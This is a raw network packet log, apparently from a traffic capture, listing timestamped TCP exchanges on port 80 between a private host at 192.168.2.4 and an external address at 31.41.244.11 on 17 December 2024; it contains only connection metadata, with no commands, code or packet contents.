Dec 17, 2024 22:06:22.717417955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.717475891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.718765020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.718835115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.719026089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.719089985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.721050978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.721077919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.721138954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.722210884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.723583937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.723642111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.723700047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.723850965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.726097107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.726136923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.726265907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.726315022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.728449106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.728527069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.728543043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.728585005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.730820894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.730875015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.730885983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.730926037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.733192921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.733249903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.733380079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.733443975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.735502005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.735518932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.735562086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.737817049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.737833023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.737868071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.737881899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.740098000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.740164995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.740212917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.740268946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.742263079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.742322922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.742368937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.742445946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.744430065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.744492054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.744564056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.744667053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.746606112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.746682882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.746757030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.746807098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.748681068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.748754978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.748796940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.748840094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.750807047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.750883102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.750957966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.751293898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.752923012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.753007889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.753020048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.753058910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.755002022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.755152941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.755208969 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.757169008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.757225037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.757288933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.759073019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.759365082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.759434938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.761194944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.761257887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.761276007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.761687040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.763281107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.763293028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.763345003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.765141964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.765263081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.765309095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.765309095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.767119884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.767168999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.767286062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.767340899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.769208908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.769251108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.769321918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.769431114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.771039963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.771089077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.771152020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.771241903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.773009062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.773088932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.773135900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.773186922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.774908066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.774975061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.775021076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.775099039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.776865005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.776906013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.776985884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.777034044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.778780937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.778831959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.778913021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.779083967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.779958963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.779970884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.780006886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.780045033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.781088114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.781153917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.781203985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.781282902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.782272100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.782330036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.782381058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.782429934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.783440113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.783519983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.783564091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.783610106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.784759045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.784770966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.784815073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.785785913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.785841942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.786135912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.786192894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.786967039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.787014961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.787126064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.787172079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.788125992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.788178921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.788229942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.788296938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.789302111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.789360046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.789402008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.789446115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.790488005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.790534973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.790563107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.790610075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.791625977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.791677952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.791872025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.791924000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.792907000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.792923927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.792958021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.792989969 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.793961048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.794066906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.794075012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.794110060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.795125961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.795180082 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.795217991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.795269966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.796302080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.796367884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.796446085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.796498060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.797485113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.797580957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.797638893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.798634052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.798738003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.798804045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.799824953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.799880981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.799957991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.800009012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.800990105 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.801043987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.801071882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.801125050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.802148104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.802201986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.802232981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.802280903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.803430080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.803483009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.803538084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.803584099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.804452896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.804529905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.912034035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.912117958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.912220001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.912271023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.912573099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.912625074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.912671089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.912723064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.913783073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.913831949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.914109945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.914161921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.914848089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.914891958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.914972067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.915036917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.916021109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.916068077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.916188002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.916235924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.917181969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.917227030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.917263985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.917306900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.918239117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.918286085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.918323994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.918368101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.919296026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.919346094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.919430971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.919503927 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.920388937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.920434952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.920444012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.920489073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.921448946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.921554089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.921606064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.922545910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.922599077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.922600985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.922633886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.923558950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.923661947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.923707008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.924571037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.924680948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.924729109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.925594091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.925643921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.925646067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.926582098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.926632881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.926718950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.926948071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.927588940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.927838087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.927890062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.928582907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.928678036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.928735971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.929760933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.929820061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.929892063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.930641890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.930696964 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.930795908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.930951118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.931638002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.931699991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.931752920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.932626963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.932693958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.932749033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.933604956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.933659077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.933728933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.934614897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.934688091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.934720039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.934959888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.935597897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.935762882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.935817003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.936604023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.936759949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.936814070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.937592983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.937644958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.937812090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.938631058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.938642025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.938688993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.939632893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.939690113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.939721107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.939764023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.940654993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.940763950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.940815926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.941612959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.941692114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.941740990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.942652941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.942747116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.942766905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.942883015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.943599939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.943763971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.943814993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.944662094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.944735050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.944782972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.945616961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.945672035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.945749044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.946662903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.946724892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.946760893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.946799994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.947638035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.947833061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.947882891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.948626041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.948736906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.948782921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.949667931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.949714899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.949755907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.950624943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.950675011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.950747967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.950947046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.951647997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.951780081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.951818943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.952626944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.952724934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.952771902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.953615904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.953663111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:22.953722954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:22.954281092 CET	49793	80	192.168.2.4	31.41.244.11
